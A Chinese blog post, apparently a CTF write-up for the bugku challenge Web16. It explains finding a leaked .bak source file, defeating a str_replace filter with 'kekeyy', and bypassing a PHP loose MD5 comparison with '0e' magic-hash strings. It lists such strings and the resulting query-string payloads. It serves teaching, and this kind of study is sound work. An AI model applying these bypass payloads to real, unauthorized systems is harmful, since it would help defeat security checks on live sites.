bugku Web16

博客讲述了如何利用0e开头的科学计数法字符串在MD5对比中制造相等的值,从而绕过过滤机制。作者通过分析和构造payload,展示了在Web安全场景下的一种常见漏洞利用方法,特别是针对查询字符串解析和过滤的弱点。
摘要由CSDN通过智能技术生成

Web16

题目

看了看题目叫别忘了备份果断用御剑扫描试试
果然有发现
在这里插入图片描述

发现网站下有一个bak文件
在这里插入图片描述

下载打开发现是一串源码
在这里插入图片描述

大概的意思

strstr看符号第一次出现的位置

substr是截取?后面的值

str replace是把?后面所有有关key的值全部替换成空格

parse str将查询字符串解析到变量

我们通过kekeyy绕过第一个过滤 然后用到md5这个函数无法处理数组问题 变成key1[] 进行绕过 这样两个key返回的都是null
看其他博客有人提到科学计数法的绕过方式 放入开头是0e的md5就可以 相当于0*10的n次方 这个是==比较漏洞
所以我将用get传值
kekeyy1=QNKCDZO
kekeyy2=s878926199a
这一题需要构造的是

key1==key2

构造的要求是md5值相同,但未计算md5的值不同的绕过。
介绍一批md5开头是0e的字符串,

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514
构造payload:?kkeyey1=QNKCDZO&kkeyey2=240610708或者其他构造也可以 比如:
?kekeyy1=QNKCDZO&kekeyy2=s878926199a
最后传值得到flag
在这里插入图片描述

我会想他们md5值为什么就一样了
在这里插入图片描述在这里插入图片描述

0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,
0的多少次方还是0。md5(‘240610708’) == md5(‘QNKCDZO’)成功绕过!
这样我就似乎懂了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值